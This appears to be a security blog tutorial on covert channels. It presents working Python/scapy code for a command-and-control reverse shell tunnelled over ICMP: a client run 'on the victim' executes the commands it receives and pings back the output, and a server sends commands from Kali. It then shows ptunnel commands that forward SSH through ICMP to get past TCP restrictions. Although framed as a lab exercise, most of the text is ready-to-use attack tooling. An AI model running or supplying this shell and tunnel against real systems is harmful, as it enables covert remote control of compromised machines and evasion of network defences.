Introduction

Covert channels are a way to hide and/or obfuscate your connection. This can be done by minimizing your communication, or by tunnelling the traffic through different protocols.

ICMP Tunneling

One way of setting up a covert channelling is by using ICMP tunnelling. This wraps the data is an ICMP packet, these packets are allowed on most networks.

A ping packet has a lot of reserved space, which is often filled with a buffer of null-bytes. This space can be used to send data over. This cannot be a lot, but a simple shell works.

ping

Say, you compromise a machine within a network, but you know that the network is very strict on all TCP connections. Then we tunnel the traffic to ICMP, an allowed protocol, so we can control our victim.

network

First, I wanted to manually make a simple script that communicates over ICMP. This is the result of searching and debugging. (source)

Client (executed on the victim)

#!/usr/bin/env python3

import os
from scapy.all import *

ip = "192.168.241.130"

def main():
    while True:
        # wait for the ICMP message containing the command from the C2 server to be received
        rx = sniff(filter="icmp", count=1)
        var = rx[0]
        if Raw not in var: #If the packet does not contain Raw, it is a wrong message
          continue
        var = rx[0][Raw].load.decode('utf-8')
        # run the command and save the result
        res = os.popen(var).read()
        print(res)
        # build the ICMP packet with the result as the payload
        #This packet is send back to the server.
        send(IP(dst=ip)/ICMP(type="echo-reply", id=0x0001, seq=0x1)/res)

if __name__ == "__main__":
    main()

Server (executed on Kali)

#!/usr/bin/env python3

from scapy.all import *

ip="192.168.241.132"

def main():
    while True:
        command = input('# Enter command: ')
        # build the ICMP packet with the command as the payload
        pinger = IP(dst=ip)/ICMP(id=0x0001, seq=0x1)/command
        send(pinger)

        # wait for the ICMP message containing the answer from the agent to be received
        rx = sniff(filter="icmp", count=3) #Capture more than one packet, too much takes long, too little might nog contain the response
        for r in rx:
          if Raw in r: # If the packet contains a Raw load, we have the correct response.
              print(r[Raw].load.decode('utf-8'))

if __name__ == "__main__":
    main()

This is an extremely simple reverse shell over ICMP. Both scripts need to be started as root to use the pinger on Linux. Then the C2 server sent a ping request with a command, this command is executed and a reply with the result of the executing is sent back. As you can see on the Wireshark result (captured on Kali), the server sent 2 replies. The first one is the default reply sent by the victim machine itself. The second reply is sent by the script, this contains the result of the executed command.

wireshark

command

reply

Great! But now we want to advance in the network. How would we do this? Well, using ptunnel we can create a port-forward tunnel over ICMP, to use SSH, for instance. This can be done with the following command:

#Server (victim)
sudo ptunnnel -v 4

#client (kali)
sudo ptunnel  -p 192.168.241.131 -lp 8000 -da 192.168.241.132 -dp 22 -c eth0

Once again, all of the commands need to run as root. On the server, you start a listener to listen for the incoming connection. The -v 4 is to show the most output for debugging. Then, the second command needs to be executed on the client, in this case, Kali.

  • -p The IP of the listening server

  • -lp The local port to forward

  • -da The remote machine to forward the traffic to (target in this case)

  • -dp The remote port of the target

  • -c The interface of the local machine to use.

This creates a port forward form my Kali port 8000 to the target port 22. Now I can communicate with the target over SSH through ICMP

connected

sshshark